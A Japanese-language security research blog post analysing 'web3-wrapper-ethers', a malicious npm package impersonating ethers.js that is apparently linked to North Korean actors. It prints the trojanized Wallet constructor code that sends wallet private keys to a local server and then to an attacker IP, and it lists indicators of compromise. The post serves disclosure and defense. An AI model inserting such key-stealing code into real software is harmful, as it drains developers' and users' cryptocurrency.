Aikido

北朝鮮の作戦で、悪意のある暗号通貨窃盗パッケージがWeb3開発者を標的とする

執筆者
Charlie Eriksen

先週、当社の自動マルウェア分析パイプラインが不審なパッケージを検出しました web3-wrapper-ethers。そのパッケージは人気のあるものを偽装しています ethers プライベートキーを窃取するように設計された難読化されたコードを含むライブラリです。私たちの調査により、当該パッケージは、 Void Dokkaebiとして知られる脅威アクター、web3、ブロックチェーン、暗号通貨技術の開発に携わる開発者から暗号通貨を窃取することで知られるグループと関連している可能性があることが判明しました。

当該パッケージ

当該パッケージは、6月5日午前12時45分(GMT+0)に初回リリースされました。

このパッケージが欺瞞目的で作成されたことを示す明白な兆候がいくつか見られます。パッケージ名は web3-wrapper-ethersですが、リポジトリフィールドは ethers.js GitHub上のプロジェクトを指しています。実際、攻撃者はリポジトリを単にコピーし、軽微な修正を加えただけでした。彼らは1日以内に合計5つのバージョンをリリースしています。

作者

当該パッケージは kaufman0913によってリリースされ、一致するメールアドレスは kaufman0913@gmail[.]com

ラプンツェルの非常に低解像度の画像が選択されているのは…興味深い点です。しかし、この点については深入りしないでおきましょう。

当該パッケージの機能は何ですか?

当該パッケージの挙動を特定するため、私たちはethersの最新バージョンをダウンロードし、攻撃者が行った変更を確認するために差分分析を行いました。

バージョン 6.14.3 そして 6.14.4 には実際のコード変更は一切なく、単にパッケージ名を変更しただけであることが確認されました。 

バージョン 6.14.5で状況が変わり始めます。ここでは、彼らが package.jsonに新しい依存関係を追加し、 node-fetch および対応する @types/node-fetch devDependency。その理由はすぐに分かります。

開発者が変更した主要なファイルは src.ts/wallet/wallet.tsであり、これはまた lib.esm/wallet/wallet.js そして lib.commonjs/wallet/wallet.jsにも変更をもたらします。これらは同じファイルの対応するコンパイル済みバージョンです。

では、 6.14.5 クラスのコンストラクタが変更され、 super() 呼び出しの下にすべてが追加されていることが分かります。

export class Wallet extends BaseWallet {
    /**     *  Create a new wallet for the private %%key%%, optionally connected     *  to %%provider%%.     */
    constructor(key: string | SigningKey, provider?: null | Provider) {
        if (typeof(key) === "string" && !key.startsWith("0x")) {
            key = "0x" + key;
        }
        let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
        super(signingKey, provider);
        // Send private key to server (Node.js and browser)
        const url = 'http://localhost:3000/save-key';
        if (typeof window === "undefined") {
            // Node.js environment: use dynamic import for node-fetch
            import('node-fetch').then(module => {
                const fetch = module.default;
                fetch(url, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ privateKey: this.privateKey })
                })
                .catch(() => {});
            }).catch(() => {});
        } else {
            // Browser environment: use native fetch
            fetch(url, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ privateKey: this.privateKey })
            })
            // .then(data => console.log('Server response:', data))
            .catch(() => {});
        }
    }
...

ここでは、彼らが秘密鍵を外部に持ち出そうとしている明白な兆候が見られます。実際、彼らのコメントには、秘密鍵をサーバーに送信していることが非常に明確に記されています。しかし、それはlocalhostアドレスを指しています。つまり、彼らはこれをリアルタイムで行っており、これは興味深い点です。彼らの開発プロセスを垣間見ることができます。

In 6.14.6、コードが変更されました。現在は次のようになっています。

// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
    import('node-fetch').then(module => {
        const fetch = module.default;
        fetch(tar, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ pk: this.privateKey })
        })
        .catch(() => {});
    }).catch(() => {});
} else {
    fetch(tar, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ pk: this.privateKey })
    })
    .catch(() => {});
}

では、暗号化されたenc変数の中身は何でしょうか?それがこちらです!

http:/74.119.194[.]244/fetch

何かおかしな点に気づきましたか?これは無効なHTTP URLです。プロトコルに / が欠けています。おっと! 

最後のリリース 6.14.7では、大きな変更は導入されていません。単にコード内のコメントとconsole.logが削除されただけです。攻撃者たちは作業が完了したと考え、悪意のある行為の記述とデバッグログを削除できたのでしょう。しかし、URLが無効であるという問題には対処していませんでした。 

また北朝鮮の仕業でしょうか?

ほんの数ヶ月前、 私たちは北朝鮮のハッカーが仮想通貨ウォレットを盗もうとしているのを発見しました。彼らはまた、リアルタイムでバージョンをリリースし、壊れたコードをデバッグしていました。このようなことが再び起こるのは興味深いですね。少なくとも今回は、彼らが最初にnode-fetchを含めたことで、なぜ彼らの axios 呼び出しが機能しないのかを解明しようと頭を悩ませるよりも、良いスタートを切りました。

このケースでは、もう一つの情報、つまりIPアドレスがあります。VirusTotalでそのIPアドレスを迅速に検索したところ、私たちの疑念が裏付けられました。

コメントは以下を参照しています:

https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt

https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

実際に、TrendMicroのIOCリストでは、このIPがEgressノードとして言及されています。 ロシアのIPアドレスからのRDP経由による、北朝鮮関連の活動そして、彼らの広範なレポートは、このパッケージで確認された内容と非常に一致しています。web3/暗号通貨に関わる開発者を標的とし、通貨を盗もうとするものです。 

侵害の痕跡

幸いなことに、このパッケージはコードが完全に機能していなかったため、ダウンロードまたは実行されても害を及ぼした兆候はありません。しかし、もしこのパッケージをインストールした場合は、損害がないことを確認するために、以下のIPへのトラフィックを監査してください。このIPアドレスへのトラフィックを検出した場合は、暗号鍵が侵害されたと見なしてください。 

パッケージ:

web3-wrapper-ethers

IPアドレス:

74.119.194[.]244

Aikido Securityのその他のリサーチはこちらをご覧ください。 

共有:

https://www.aikido.dev/blog/malicious-package-web3

脅威ニュースをサブスクライブ

今日から無料で始めましょう。

無料で始める
CC不要

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。